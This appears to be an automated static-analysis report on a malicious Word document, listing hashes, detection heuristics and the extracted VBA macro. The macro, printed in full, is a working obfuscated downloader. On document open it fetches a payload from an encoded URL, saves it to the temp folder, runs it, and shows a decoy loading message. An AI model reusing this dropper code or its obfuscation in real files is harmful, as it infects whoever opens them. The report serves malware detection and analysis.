Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32a9495f912b8460…

MALICIOUS

Office (OLE)

214.0 KB Created: 2018-10-19 08:14:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: a9fc07ac672bb2a48606883eaa36ca52 SHA-1: 46016e23d4f44aa4848b7bd91d2c02f6f0d2276f SHA-256: 32a9495f912b8460e83032f9bed5858e9e92d3c3ec773deac5e603fae0f91ac9
238 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    QWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGNYYEJGUDMWGDXNRSRT = GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    XDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZBWJRNGWXIWYFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWL = Environ("tmp") + HMDDWWKOUJSIUEJECZIHSKPSQWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGN("hTXS]X:q„q")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3257 bytes
SHA-256: dbe001c11070a3111e829f64dfedeed5f06e0b7ed08be1eb51c1e9986282c8f5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Function HMDDWWKOUJSIUEJECZIHSKPSQWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGN(ByVal s As String)
        Dim newtxt, coded As String
        For i = 1 To Len(s)
            newtxt = Mid(s, i, 1)
            newtxt = Chr(Asc(newtxt) - 12)
            coded = coded & newtxt
        Next
        HMDDWWKOUJSIUEJECZIHSKPSQWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGN = coded
    End Function

Private Sub Document_Open()
Dim GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB
Set GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB = CreateObject("microsoft.xmlhttp")
Dim XDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZBWJRNGWXIWYFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWL
Dim IPULLFXMWDKBKDFRMKHQPBLXBYFGNYYEJGUDMWGDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZG
Set IPULLFXMWDKBKDFRMKHQPBLXBYFGNYYEJGUDMWGDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZG = CreateObject("Shell.Application")

XDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZBWJRNGWXIWYFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWL = Environ("tmp") + HMDDWWKOUJSIUEJECZIHSKPSQWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGN("hTXS]X:q„q")
GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB.Open "GET", HMDDWWKOUJSIUEJECZIHSKPSQWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGN("t€€|F;;ƒƒƒ:�|x{mpq~: „;�|x{mp ;><=D;\[:q„q"), False
GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB.send
QWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGNYYEJGUDMWGDXNRSRT = GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB.responseBody
If GDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZB.Status = 200 Then
Set YFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWLMDGPTOECCBEVZDLYYGBDYLZONFYJFZHMDDWWKOUJSIUEJ = CreateObject("adodb.stream")
YFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWLMDGPTOECCBEVZDLYYGBDYLZONFYJFZHMDDWWKOUJSIUEJ.Open
YFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWLMDGPTOECCBEVZDLYYGBDYLZONFYJFZHMDDWWKOUJSIUEJ.Type = 1
YFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWLMDGPTOECCBEVZDLYYGBDYLZONFYJFZHMDDWWKOUJSIUEJ.Write QWFFQQVHXMULOXCWMKKJLEBETHZIJLHTIWPNHRMIPULLFXMWDKBKDFRMKHQPBLXBYFGNYYEJGUDMWGDXNRSRT
YFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWLMDGPTOECCBEVZDLYYGBDYLZONFYJFZHMDDWWKOUJSIUEJ.SaveToFile XDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZBWJRNGWXIWYFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWL, 2
YFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWLMDGPTOECCBEVZDLYYGBDYLZONFYJFZHMDDWWKOUJSIUEJ.Close
End If
IPULLFXMWDKBKDFRMKHQPBLXBYFGNYYEJGUDMWGDXNRSRTMJMCIIPRTPCJFXOPZOQXDNTNGTFFSJSLNZNSPYXJTGCZG.Open (XDNTNGTFFSJSLNZNSPYXJTGCZGOVHBFRODEUEHLGVZBZCNRUKQQXZBWJRNGWXIWYFEVCOOCGNBKBMVIVBXHYKCHKIOWEIJNYWL)

MsgBox "document loading...98sec"
End Sub

Attribute VB_Name = "NewMacros"
Sub cool()
'
' cool Macro
'
'

End Sub

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